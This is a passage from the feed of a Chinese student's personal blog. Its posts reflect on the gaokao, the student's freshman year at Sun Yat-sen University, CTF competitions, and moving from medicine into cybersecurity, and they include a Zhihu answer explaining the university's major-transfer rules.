&lt;p&gt;我已经无法全神贯注在任何一节课上，完全不行。&lt;/p&gt;
&lt;p&gt;线代之前自学过一些，所以暂时能够没压力地放掉。高数和概率统计则完全是上课坐在最后一排干自己的事情，作业全部靠抄答案。&lt;/p&gt;
&lt;p&gt;至于大学物理和电子技术基础，我完全是没学，相信期末的自己的智慧。&lt;/p&gt;
&lt;h1&gt;五月：转专业&lt;/h1&gt;
&lt;p&gt;五月初的广州，又闷热又潮湿。从 203 出发，到达一教往往掉一身虫子。100 号人挤在狭窄的教室里面，我已经无所适从。&lt;/p&gt;
&lt;p&gt;于是，和在转网安群里面认识的一位发羊姐表情包的漫协群u对上暗号，决定一起去深圳校区准备机试面试。&lt;/p&gt;
&lt;p&gt;无悬念地，我和他在笔试和面试都取得了很高的成绩。&lt;/p&gt;
&lt;p&gt;无悬念地，出现在了最终接收名单中。&lt;/p&gt;
&lt;h2&gt;去期待深圳&lt;/h2&gt;
&lt;p&gt;深圳校区是物质上富有的：处处可以见到深圳的财力雄厚。再也不用在南校和大家摩肩接踵了——人均资源充裕的快乐。&lt;/p&gt;
&lt;p&gt;尽管听到了很多前辈对深圳校区的抱怨，我仍然认为：&lt;strong&gt;深圳校区还有很大的潜力未被开发。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;去触碰未来&lt;/h2&gt;
&lt;p&gt;我认同曹丰泽这篇演讲稿：&lt;a href=&quot;https://user.guancha.cn/main/content?id=1097448&quot;&gt;《去非洲：中国青年工程师的“发展主义”选择》&lt;/a&gt; 。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实世界上也只有一种可笑的悲剧，就是你对生活抱有一种不切实际的美好期待，想象一个地上天国出来，然后当你发现它并没有你想的那么美好之后，你又一瞬间把生活看作一种一无是处的丑恶东西，你就像一个二极管一样在绝对的美和绝对的丑之间跳跃，可惜这两者都是假的。只有你真正完整地认识到一件事情的全貌，包括好的和不好的，你才有资格去评判你到底喜欢还是不喜欢它。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;模板不是唯一的。内卷烈度高的地方也不一定是必经之路。关键是询问自己的内心：你到底想做什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我想在本科期间获得扎实的计算机基础。&lt;/p&gt;
&lt;p&gt;我想用我所学的东西去构建新生的事物，去连接不同的领域。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这些东西，相信以我的能力，能够在深圳校区的本科余下三年里一点点去探索、去实现。&lt;/p&gt;
&lt;h1&gt;六月：Gap 与期末考&lt;/h1&gt;
&lt;p&gt;转完专业一直处于放松状态。一个维持了一年的心魔就此解决。此后我也不会隔三岔五梦到高考了。&lt;/p&gt;
&lt;p&gt;不过，期末考如期而至，我速通完成了高数线代和概统，至少成绩还算过得去。但是电工和物理就不那么幸运了。尤其是大学物理，东西又多又难记忆，我喜提后25%的成绩，也是致敬了 Uniya 前辈了。虽然他比我做的东西多很多就是了。&lt;/p&gt;
&lt;h1&gt;七月：开发与……宅&lt;/h1&gt;
&lt;p&gt;考完期末先是在家面试，光荣成为 Matrix 的一员。&lt;/p&gt;
&lt;p&gt;又以一种奇怪的方式，成为了一个系统安全的大创的责任人。~终于找到正当方式学 Linux 了~&lt;/p&gt;
&lt;p&gt;深圳校区的宿舍太豪华了。我成天待在宿舍，偶尔去院楼，偶尔去健身房，偶尔去打 maimaiDX。&lt;/p&gt;
&lt;p&gt;每周定时定点收看当期新番剧，也算是久违地抛弃一切压力地享受作品了。&lt;/p&gt;
&lt;h1&gt;八月：寻找线索&lt;/h1&gt;
&lt;p&gt;八月先是在学 BPF 和 Android 相关的内容，空闲时间打打 MoeCTF 2025。&lt;/p&gt;
&lt;p&gt;八月中旬参加了 LilCTF 2025，很用心的比赛，三天的全身心投入让我感到一种充实感。&lt;/p&gt;
&lt;p&gt;我尝试将我发力的东西都集中在一条线上面。&lt;/p&gt;
&lt;p&gt;系统安全，Linux，PWN，Reverse，后端后台开发……&lt;/p&gt;
&lt;p&gt;技术是相通的，我一直相信，我希望能够理清楚每一个点延伸出来的线条，尝试用一个清晰的主题去串联他们。&lt;/p&gt;
&lt;p&gt;同时，我也在尝试新的东西：科研作图，机器学习…………&lt;/p&gt;
&lt;p&gt;我不知道我究竟会走向何方，但是有学习的时间和契机就应该好好珍惜。&lt;/p&gt;
&lt;h2&gt;一些小小的感悟&lt;/h2&gt;
&lt;h3&gt;噪音与信息&lt;/h3&gt;
&lt;p&gt;生存和发展需要信息。而有用的信息往往被成倍存在的噪音所隐藏。&lt;/p&gt;
&lt;h3&gt;专注时间&lt;/h3&gt;
&lt;p&gt;在大量接受新信息的情况下，一个人一天也许只能完全专注 5 小时。&lt;/p&gt;
&lt;p&gt;超量的工作不会让你增加更多效率，而是防止你把注意力消耗在带来负效果的地方。&lt;/p&gt;</content:encoded><h:img src="/_astro/summer.C-cvOmmv.webp"/><enclosure url="/_astro/summer.C-cvOmmv.webp"/></item><item><title>在中大被调剂怎么转专业（知乎）</title><link>https://blog.candlest.cc/blog/how-to-remajor-in-sysu</link><guid isPermaLink="true">https://blog.candlest.cc/blog/how-to-remajor-in-sysu</guid><description>写给后来者。</description><pubDate>Mon, 28 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本回答原载于知乎[^1]。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;被调剂到中山大学护理学了 ……怎么办?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我想你心里想的是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;据说护理学以后学出来只能当一辈子护士……我好歹也是一个上 2 末 9 的分数，难道要做一辈子护士了吗？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;或者说你的潜意识正在寻求一个肯定：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;希望有人能告诉我护理学的前途是光明的。让我有底气读下去。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于我对于医学类的了解较为肤浅，所以这里不谈论护理学的就业，去&lt;strong&gt;斗无用的蛐蛐&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我能提供给你的信息是：在高松时代，中山大学的转专业变得&lt;strong&gt;极其宽松&lt;/strong&gt;。并且尤其利好咱们这些&lt;strong&gt;被广义的“天坑”专业录取的学生&lt;/strong&gt;，能够有读&lt;strong&gt;新工科、强势工科&lt;/strong&gt;的机会。&lt;/p&gt;
&lt;p&gt;作为刚在中山大学&lt;strong&gt;从某医学类专业转到某理工科再转到网安&lt;/strong&gt;的学生，我觉得我有把握对你说：&lt;strong&gt;被调剂到中山大学护理学了，前途依旧光明&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;不去管少部分&lt;strong&gt;不擅长宣传&lt;/strong&gt;的学校官媒，就作为学生个体，我来讲解一下&lt;strong&gt;中山大学目前的转专业形势&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;二次遴选：追求热爱或调整身位&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.zhihu.com/people/06d5bf4f4f8a2e24aef9c52d6668b641&quot;&gt;可以参照 LILYINSUN 的回答&lt;/a&gt; 对此的回答已经很完整精炼，我不再赘述。&lt;/p&gt;
&lt;p&gt;2026-02-20T23:55:50 补充，2025 2026 的二次遴选专业越来越多了。它只会越来越丰富，越来越多。&lt;/p&gt;
&lt;h2&gt;转院系专业：不限次数&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;根据《中山大学本科生学籍管理规定》，招生时有明确规定不能转院系专业者，休学、保留学籍期间或达到退学条件者，不允许转院系专业。其他在读学生可提出转院系专业申请。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说，只要你不是定向外语体育以及强基学生，&lt;strong&gt;哪怕&lt;/strong&gt;你已经成功&lt;strong&gt;转了一次专业&lt;/strong&gt;，&lt;strong&gt;哪怕&lt;/strong&gt;你是通过&lt;strong&gt;综合评价、地方专项&lt;/strong&gt;降分录取的学生，都可以在每年的四月下旬到五月上旬转专业系统开放的时间，&lt;strong&gt;递交你的转专业申请表&lt;/strong&gt;。正所谓“转出无限制”。&lt;/p&gt;
&lt;p&gt;是的，自 2025 年开始，我们有&lt;strong&gt;无限次数的转专业&lt;/strong&gt;了，只要你能够在你取得中大本科学籍的六年内（转到医学是七年）修完学分，你就能够&lt;strong&gt;正常毕业&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这意味着转专业的&lt;strong&gt;试错成本进一步降低&lt;/strong&gt;，在中山大学你被赋予了更多的机会去&lt;strong&gt;寻找你自己的道路&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;六个电信类学院，五个计算机类学院：转院系专业 324 个名额转入强势工科&lt;/h3&gt;
&lt;p&gt;罗俊时代的摊大饼政策导致目前中山大学拥有&lt;strong&gt;六个电信类&lt;/strong&gt;学院（专业）&lt;strong&gt;，五个计算机类&lt;/strong&gt;学院（专业） &lt;strong&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;六个电信类学院（专业）：东校电信、南校系统、深圳电通、集成电路、珠海微电、柔性电子&lt;/p&gt;
&lt;p&gt;五个计算机类学院（专业）：东校计算机、深圳智科、深圳网安、珠海软工、珠海 AI[^2]&lt;/p&gt;
&lt;p&gt;就 &lt;strong&gt;《中山大学 2025 年本科生转院系专业（招生选拔）接收计划和实施细则》&lt;strong&gt;文件来看，每年的&lt;/strong&gt;转院系专业环节&lt;/strong&gt;一共有 324 个强势工科专业的转专业名额。其中大部分都&lt;strong&gt;并不设置很高的要求&lt;/strong&gt; ：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）已修读高等数学或数学类相关课程，至少一门成绩不低于 60 分。 符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大部分专业的&lt;strong&gt;申请要求&lt;/strong&gt;都是“&lt;strong&gt;转入低门槛&lt;/strong&gt;”。只要你不是死磕某一个申请要求高或者后续评审要求严的专业如&lt;strong&gt;东校计算机、深圳智科、东校电信&lt;/strong&gt;，摆正你的态度在笔试和面试中&lt;strong&gt;让老师看到你的热情和决心&lt;/strong&gt;，你都能够读到你想要的专业。&lt;strong&gt;高考分数不会成为你的枷锁。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;中山医和中大医临床：90 个名额点亮你的临床梦&lt;/h3&gt;
&lt;p&gt;中山大学的临床医学毫不夸张是全国除了协和北大、上交复旦之下的&lt;strong&gt;第一梯队&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;中山大学所处的粤港澳大湾区，无疑是除了北京、长三角以外&lt;strong&gt;经济最繁荣的地区&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;而坐拥这样实力的中山大学，在深圳医学院却开出了这样的申请条件，并招收 60 人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）高考为理科考生或高考选考物理。 （三）无色盲、色弱情况。 符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;而高高在上常有独立情绪的中山医学院（原中山医科大学），却也松口给出了自己的条件，并招收 20 人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）高考为理科考生或高考同时选考物理和化学。 （三）入学以来无不及格课程记录。体测成绩及格（已参加 过的体测平均分≥60 分，免测除外）。 （四）无色盲、色弱情况。 （五）申请转入临床医学专业的学生，入学后须已修读过《数 学分析》、《高等数学一（I）》、《高等数学二（I）》、《高 等数学三（I）》、《高等数学四（I）》、《医科数学》中的 至少一门课程，且每门课程的成绩排名位居所在年级专业前 25%（含）以内。符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以及光华口腔医学 10 人：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;申请要求： （一）招生时有明确规定不能转院系专业者，休学、保留学 籍期间或达到退学条件者，不允许转专业。 （二）在校期间无任何违法违纪行为，未受过任何纪律处分。 （三）原专业对应学位为医学、理学或工学学位的学生。 （四）高考英语成绩不低于 125 分，且已修大学英语成绩不低 于 90 分。 （五）身心健康，无色盲、色弱、听力障碍以及严重慢性疾 病等可能影响从事高度集中精细工作的身体状况。 符合申请要求的进入考核环节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;诚然，出于三明医改等原因，2025 年临床学科的高考招生爆冷。但是我相信真心热爱临床医学的学生并不会变少，而且临床医学的&lt;strong&gt;长期社会预期并不低&lt;/strong&gt;。&lt;strong&gt;如果你有一个临床梦，中山大学是你梦的桥梁。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;尾声&lt;/h2&gt;
&lt;h3&gt;逐梦与保底&lt;/h3&gt;
&lt;p&gt;在中山大学的一年，我见到了压线考入中山大学生态学的同学却凭借自己努力自学高代数分，最终&lt;strong&gt;逐梦成功&lt;/strong&gt;转入超高要求的广州数学学院的。&lt;/p&gt;
&lt;p&gt;在中山大学的一年，我也见到了被调剂到冷门专业的同学，即使自身积累和规划不足，也顺利转入生物医学工程、机械、能动、智慧交通、信息管理等就业前景更加开阔的专业，&lt;strong&gt;追求保底的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在中山大学的一年，我也见到了错过 22、23 年转专业的&lt;strong&gt;大三迷茫老登逐梦逻辑学&lt;/strong&gt;，重回大一开启新生活的。&lt;/p&gt;
&lt;p&gt;在中山大学的一年，我也见到了文科专业的同学，由于自身热爱&lt;strong&gt;打动老师转入理工类专业&lt;/strong&gt;的。&lt;/p&gt;
&lt;p&gt;一谈起转专业，大家的嘴里总是“转码”，总是在谈论在舞台最中央的人，总是在谈论高薪资“拿大包”。&lt;/p&gt;
&lt;p&gt;但是我想说的是，在高校的实践中已有的数据表明的是，&lt;strong&gt;转专业的最大受益者是所谓天坑专业的学生&lt;/strong&gt;，他们能从&lt;strong&gt;或糊里糊涂地或早有预谋地&lt;/strong&gt;报考的一个天坑专业中，&lt;strong&gt;哪怕在自身实力不够，不能卷到最顶端&lt;/strong&gt;的情况下，获得一个转到一个学习和就业相对 &lt;strong&gt;“正常”“光明”&lt;/strong&gt; 的专业的机会：比如浙江大学 2025 初的转专业数据中，最热门的专业不是计算机而是机械，而其来者正是农学、土木、环境专业的学生。&lt;/p&gt;
&lt;p&gt;而护理，恰好具有这种特质。如果你爱护理学，自然可以读下去。而如果你不爱护理学，中山大学也给了你&lt;strong&gt;一个自由选择的机会&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;大势所趋&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;苦读寒窗十年，缺乏社会经验&lt;/strong&gt;的学生（ta 的父母或许也并没有深刻的洞见），却只有&lt;strong&gt;一两周来决定自己未来一生的专业&lt;/strong&gt;。这难道不是一件不合理的事情吗？&lt;/p&gt;
&lt;p&gt;国家在逐步放开转专业，作为一种&lt;strong&gt;降低高考生试错成本&lt;/strong&gt;的方式，此为大势所趋。&lt;/p&gt;
&lt;p&gt;高松&lt;strong&gt;从北京来粤&lt;/strong&gt;的第一站是&lt;strong&gt;华南理工&lt;/strong&gt;，他在那里取消了转出的绩点门槛，增加了转入名额。&lt;/p&gt;
&lt;p&gt;高松从北京来粤的第二站是&lt;strong&gt;中山大学&lt;/strong&gt;，为了弥补在罗俊最后一年任期匆忙上马的大类招生中受到创伤的学生，他&lt;strong&gt;取消了大类招生&lt;/strong&gt;，&lt;strong&gt;取消了转出门槛&lt;/strong&gt;，同时&lt;strong&gt;大幅增加&lt;/strong&gt;了转专业名额：在 2022 年甚至有 150 个学生转入了计算机学院。&lt;/p&gt;
&lt;p&gt;此后转专业这一制度在中山大学逐步发展完善，到目前已经形成了&lt;strong&gt;较为宽松合理&lt;/strong&gt;的转专业制度：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;转入有难度，但是并不是苛刻； 转入很宽松，但是并不是混乱。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;尽管中山大学还有很大的进步空间，但是我可以说在同等水平的高校中，中山大学的转专业工作做的绝对是最好的那一档。&lt;/p&gt;
&lt;p&gt;希望这微不足道的回答能够对你，对所有录取到了中山大学的冷门专业的小登有所帮助。&lt;/p&gt;
&lt;p&gt;希望这微不足道的回答能够为中山大学由大到强之路献上微薄之力。&lt;/p&gt;
&lt;p&gt;希望这微不足道的回答能够为中国 2035 年教育强国目标添砖加瓦。&lt;/p&gt;
&lt;p&gt;[^1]: 见&lt;a href=&quot;https://www.zhihu.com/question/1929228222614213735/answer/1933025466257764932&quot;&gt;被调剂到中山大学护理学了 。。怎么办? - candlest的回答 - 知乎&lt;/a&gt;
[^2]: 按理来说，珠海AI拿的是人工智能学位，人工智能属于电子信息类专业。但是由于人智院学生就业与计算机类相似，故放在计算机类。&lt;/p&gt;</content:encoded><h:img src="/_astro/home.CvHNCoeL.webp"/><enclosure url="/_astro/home.CvHNCoeL.webp"/></item><item><title>大一上学期总结</title><link>https://blog.candlest.cc/blog/timeline/grade1</link><guid isPermaLink="true">https://blog.candlest.cc/blog/timeline/grade1</guid><description>再见，2024。</description><pubDate>Sun, 09 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;当我敲下这行文字的时候，正是 2025-02-09 。&lt;/p&gt;
&lt;p&gt;近几年已经大大淡化的年味已经荡然无存，妹妹开始上课，父母开始上班。而我于过去的三周寒假里，在回到老家参加了几场红白事之外，勉强算是完成了线代和数据结构的预习。&lt;/p&gt;
&lt;h2&gt;逆序遍历&lt;/h2&gt;
&lt;p&gt;时钟往回拨，是期末考试。期末考试决定绩点，绩点在泥鸭几乎是保研的唯一权重，也是转专业的筛选点之一。然而这个时候说是宿舍原因也好，说是我适应能力差也罢，我又双叒内心乱如麻，第 18 第 19 周基本处于摆烂状态，最后也是考出了高等数学课程总分 78 分的超鬼成绩。为我的转专业道路蒙上了一层阴霾。好在智慧交通专业本身人少且并不卷，即便总成绩并不好看，也能排进前 10，甚至这个成绩在智科也能排进前 30。但是即便是未来在交通专业保上研，又能去做我喜欢的方向吗？&lt;/p&gt;
&lt;p&gt;往前，是 12 月。受到智科老哥邀请组队，去参加了程序设计校赛。上次学算法还是初二，由于自身实力欠佳、学校资源不足且家里人反对，便没有继续下去，实力估摸着也就普及组+水平。好在队里有个省一大哥，几乎是把我们抬进了决赛，拿下了铜奖。如果单凭我一个人的水平，估计进决赛然后打铁是最好的结果了。不知道该说什么，感恩。&lt;/p&gt;
&lt;p&gt;再往前，是 11 月。参加了 Hackergame 2024 信息安全赛。感恩宣传比赛的社团学长，感恩 Hackergame 平滑的题目难度，也让我这样一个没有学过 CTF 内容的门外汉一览 CTF 的风采，拿下了 364/2460 的成绩。&lt;/p&gt;
&lt;p&gt;10 月，是军理考试与社团招新二面。加入 MSC 绝对是我这个学期做的最正确的决定，在社团里看着优秀的前辈与同辈们讨论技术，发觉自身的渺小。在社团前辈建议下参加各种活动，在其鼓励下学习喜爱的技术，和二次元一起成为支撑我这一学期不断向前的动力（虽然很羞耻但是确实是这样）。W6~W7，主要精力放在了整理军事理论，最终拿下 17/882 的排名，与超鬼的高等数学成绩对冲了，感恩。&lt;/p&gt;
&lt;p&gt;9 月，从预防医学转到智慧交通。我现在还不知道这个选择是否正确，不过&lt;strong&gt;至少&lt;/strong&gt;智慧交通为我赢来了不用被细生解剖支配的课表，为我赢来了满血版本的高等数学，虽然我似乎没有把握住就是了，感恩。接下来智慧交通也为我赢得了相对医科没那么紧张的工科课表，希望我能不浪费这个机会。&lt;/p&gt;
&lt;p&gt;九月之前的事情，我已经很模糊且不愿意回忆，毕竟我没有抓住高考这样一次机会而仍由它从指缝流逝。实际上它就像一个后台进程时刻挂在我的脑海里，每周我至少会梦到两次高考相关的事件。但是它已经逝去了，就让时间将它淡忘吧。我当前的首要任务是转专业和保研。我有复读的勇气和接受结果的准备，但是最好不要走到那一步，眼前的机会我还没抓住呢。&lt;/p&gt;
&lt;p&gt;我希望未来我可以有勇气与底气重新翻开审视这段回忆。我现在不能翻开它，不然我会觉得自己一无是处的。&lt;/p&gt;
&lt;h2&gt;碎片呢喃&lt;/h2&gt;
&lt;p&gt;首先，上个学期其实整体状态特别紧绷，做什么事情都畏手畏脚的，导致效率不高。其实很多时候没必要那么紧绷，很多适合没必要为了老师的给分、舍友的交流之类的事情内耗。放低预期，找到更多支撑点，宽松的状态或许学习效率会更高。&lt;/p&gt;
&lt;p&gt;其次是水群太多啦！水群消耗用来干其他事情的精力且制造空转的焦虑，理应少些。&lt;/p&gt;
&lt;p&gt;第三是希望自己能够提高与人交流的能力，事事有回音，遇到双方理解差异的时候能够及时地沟通、调整。&lt;/p&gt;
&lt;p&gt;最后还有一点是刷题太少了：高数大物都是，这些明明有明确刷题方向以及预期成果的东西，我却忽视了，影响了卷绩点的目标。此外，要做好考研的心理准备，去卷 11408 刷题应试能力是刚需。&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;加油，2025！&lt;/p&gt;</content:encoded><h:img src="/_astro/tmr1.CQE6gOdD.webp"/><enclosure url="/_astro/tmr1.CQE6gOdD.webp"/></item><item><title>高考后与二次遴选</title><link>https://blog.candlest.cc/blog/timeline/gaokao</link><guid isPermaLink="true">https://blog.candlest.cc/blog/timeline/gaokao</guid><description>此刻我是赌徒。</description><pubDate>Mon, 21 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;高考后的反思&lt;/h2&gt;
&lt;p&gt;距离高考结束已经有 2 个月，我还是不愿回忆高三的一切，潜意识里，我甚至愿意相信我的高三不存在。只有在日记本里，mp3 里能找回当时内心情感的些许碎片：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我尝试了解那段时间发生了什么，但是那段时间的记忆只有空白，我甚至记不起零碎的时间没有参照点，我不知道发生了什么，但是当我拿起耳机播放音乐，我好像又有了一些零碎的如闪光点如泡沫如。如碎片般纷纷涌而来的记忆冲刺我的脑海，我想抓住他们，他们飞得很快我仅仅只抓住了浮光掠影但是这好像已经 够了我好像已经能想起一些什么了。
我知道我马上要忘记我知道我无法阻止他们忘记我尝试抓住一点只言片语，但我只想起了周五下午阳台的风高三一整年的失落感不确定性以及摆烂以及痛苦以及冷眼以及以及风以及冷水以及泡面的味道以及周六上午的强撑。
这种窝囊的体验这种明明有能力做到却自己放任自流自我放逐的事情，我再也不要经历我宁愿燃烧自己，宁愿残破不堪，我也不要再这样了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是的，在高中生活的最后一年里，我没能把握好自己，成为了一个十足的失败者。往日支撑我前行的梦想落空，大概是这种感觉：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;扯下耳机便会不知所措
现实如同烂片一样折磨
镜头在人潮中不停穿梭
抛下依存白日梦中的我
蒙太奇中天使似乎来过
但迟钝将世界一并错过
差劲的我已无支点可握
向驶来的列车不停坠落&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不过，失落归失落，我感觉我的身体里好像住着两个意识（只是单纯的比喻）：一个是极端的理想主义者，希望将一切都做到尽善尽美；一个是遵循&quot;稳定压倒一切&quot;原则的保守主义者。&lt;/p&gt;
&lt;p&gt;当我的理想主义占主导地位时，保守的潜意识总是会给我留下一个&quot;最坏打算&quot;的 Plan B 。就好比这一次高考，焦虑到日均睡眠 3 小时，小三科全面崩盘，总排全省上万名，大概是中下游 985/上游 211 水平。好在保守的潜意识发挥作用，下意识填报了中大的综评，虽然被调剂，但是好歹是进入了中大的……吗？&lt;/p&gt;
&lt;p&gt;我不知道，我不想面对他人的目光，我下意识地想要逃避问题，我不愿看到理想主义的逝去。&lt;/p&gt;
&lt;p&gt;或许，我能够转专业，转去 CSSE ，转去 BME ……
或许，我能够保研……
或许……
我不知道，但是我其实知道，路线十分清晰展现在我的面前，只要一点一点去做就好了。&lt;/p&gt;
&lt;p&gt;韩非子云：&lt;strong&gt;&quot;求上得中，求中得下。&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;容错率低又如何，求其上是我的事，得其中是老天爷的事情。&lt;/p&gt;
&lt;h2&gt;开学前的踟蹰&lt;/h2&gt;
&lt;p&gt;高考出分后，我在小红书上匿名记录了我的分数，以及最后被中大录取的结果，此外并未透露更多信息。然而，在微信上看到这样一篇文章：&lt;a href=&quot;https://mp.weixin.qq.com/s/GtYnQOqdHPdz0Y_6rV3cGA&quot;&gt;广东考生 618 分依然被中山大学录取，走综评，去深圳读预防医学&lt;/a&gt;，大概就是说的我无疑了。&lt;/p&gt;
&lt;p&gt;身边的人，得知我被中大预防医学录取的消息，或不懂，或尊重理解祝福，或一声不吭，隔岸观火。而小红书的评论又过于温情脉脉了。这样一篇文章，依托我在网络上披露的信息，对我的行为进行评价，实际上对我而言有着宝贵的价值。&lt;/p&gt;
&lt;p&gt;下面来分析这篇文章。&lt;/p&gt;
&lt;h3&gt;从别人的角度看我的心理&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;学生自己既然去华工选不了专业，去中山大学也选不了，直接选择中山大学，估计也是比华工好一些的毕竟中山大学的名气，排名更高一些。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此话切中肯綮，依照我的分数，要选专业只能去末流 985 和中游 211。当时的心态已经破罐子破摔了，无所谓读什么专业。&lt;/p&gt;
&lt;p&gt;此外，我对以下三点有信心：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;中山大学的转专业制度和难度&lt;/strong&gt;：中大的新工科方兴未艾，私以为正是 实力/前景 &gt; 社会名气 的时候，内卷烈度比传统工科高校要低；其次是高松来华工和中大以后，转专业政策得到了一定程度的放宽，尽管有着隐性的绩点和专业限制，它的政策仍然优于华工。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;中大的发展前景&lt;/strong&gt;：报学校就像买股票。十几年前大家都看涨土木，十年前大家都看涨金融，五年前大家都看涨计算机，现在大家都一股脑涌向电气电信。追涨杀跌是人的本能无可厚非，正如今日的成电北邮西电，多么像十年前的两财一贸！什么是真正保值的资产？唯有综合性院校如浙大，分支多眼界宽地理位置好，再差也差不到哪里去！我相信中国，相信珠三角，相信中大。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;我的学习能力&lt;/strong&gt;：高中的学习实在是有有慎始而无敬终，我的抗压能力还有待提升，但是我的学习能力自认为并不弱于人。或许开学的二次遴选我抢不过别人，但是一年以后呢？两年以后呢？五年以后呢？社会上的人出于既得利益者的心态，总是以固定性思维来 judge 他人，以此来获得优越感，我也不例外。但是事实上就是，一个人在大部分方面都是在不断成长的。扛住社会带给你的压力，默默成长，能力有所提升后做出成绩，他们又会试图从你以前的痕迹来找出你&quot;天赋异禀&quot;的证据。实则是无聊的游戏。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;综评：水面下的冰山&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;虽然中山大学的综评不全部看成绩，但还是有不少人看中山大学综评录取的最后位次是多少，据说 2023 年是 1.6 万位次，所以 618 分，1.1 万位次其实进入中山大学，还是可以的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;网络上流传的消息总有滞后性，事实上，今年的综评异常火爆，无论是华南理工、中山大学还是南方科技大学。举个例子，就拿我所在的 706 组为例，是去年两个专业组的合并精简。去年它们的入围线在 20k 开外，而今年它们的入围线则是在 12k。当然，这个结果也受中大综评缩招的影响。&lt;/p&gt;
&lt;p&gt;通过分析中大给予的数据，在 706 组综评中，最终能被录取的都是 622-626 的学生，而相对有前景的专业，如生物医学工程（矮个子里拔高个子）则是需要有 632 以上的分数才能选上。因为身边甚至有 639 的同学参加本组综评。&lt;/p&gt;
&lt;p&gt;而我，一个只有 618 分的学生，只是因为面试运气分高，侥幸 90+，加权排名后才能排到中上的位置，在其他不接受调剂的学生下面，得到录取资格。&lt;/p&gt;
&lt;p&gt;我对面试的准备，我的计算机背景等等其中的细节并不为外人所知。甚至包括初审，也是因为我恰好高一高二都成绩不错（广州六校联考 900 名），基本每个学期都拿到了学习标兵或三好学生的缘故。一些省实和石门的同学甚至初审便被筛下了。&lt;/p&gt;
&lt;p&gt;我为面试所做的准备，我的计算机基础等等，并不为所知。但是谁又不是呢？&lt;/p&gt;
&lt;h3&gt;转专业：我所面临的挑战&lt;/h3&gt;
&lt;p&gt;凭心而论，我对预防医学的培养方案兴趣缺缺，专业是非理工的，课程是弱数学的，还要学一大堆生物和化学。唯一的优点是和中大医学院大一的培养方案几乎相同，可以平转。然而，我实在不想学医。我更想学数学，我更想学工程学。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;举世誉之而不加劝，举世非之而不加沮&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不为打翻的牛奶而悲伤，不为 2 小时以后的事情而焦虑。&lt;/p&gt;
&lt;p&gt;在知乎看到这样一句话：&lt;strong&gt;Winner 忙着内卷，而 Loser 告诉 Loser 很难快点放弃。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这样带着社达色彩的话语，客观上告诉我不要畏惧。&lt;/p&gt;
&lt;p&gt;加油！&lt;/p&gt;
&lt;h2&gt;记二次遴选转到智慧交通专业&lt;/h2&gt;
